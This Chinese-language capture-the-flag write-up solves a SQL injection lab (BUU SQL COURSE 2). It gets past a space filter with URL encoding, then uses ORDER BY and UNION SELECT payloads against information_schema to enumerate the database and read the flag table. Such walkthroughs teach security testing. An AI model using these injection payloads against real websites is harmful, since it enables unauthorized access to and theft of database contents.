这是一个sql注入的题目,里我们打开靶场看到了这么一个界面

BUU-SQL-COURSE 2-1.png

随便点击热点列表中的一条热点,抓包发现出现这个界面

BUU-SQL-COURSE 2-2.png

那我们大胆猜测,这个id可能就是注入点,我们手动验证一下

输入?id=1 and 1=1 --+ ,发现报错400

BUU-SQL-COURSE 2-3.png

这是因为网站把空格过滤了,我们可以把空格换成url编码?id=1%20and%201=1%20--+ 发现可以正常接收到数据

BUU-SQL-COURSE 2-4.png

接下来我们就可以按照正常流程测试了

?id=1%20order%20by%202--+ -- - order by 2

发现可以正常显示,换成order by 3就是空白,所以我们可以判断出有2个回显位置

获取所有的数据库

?id=-1%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata--+
BUU-SQL-COURSE 2-5.png

发现有一个叫做ctftraining的数据库

获取ctftraining的数据表

?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ctftraining'--+
BUU-SQL-COURSE 2_6.png

发现了flag表,所以flag应该就在里面,继续

获取字段名

?id=-1%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ctftraining'%20and%20table_name='flag'--+

获取flag

?id=-1%20union%20select%201,flag%20from%20ctftraining.flag--+
BUU-SQL-COURSE 2-7.png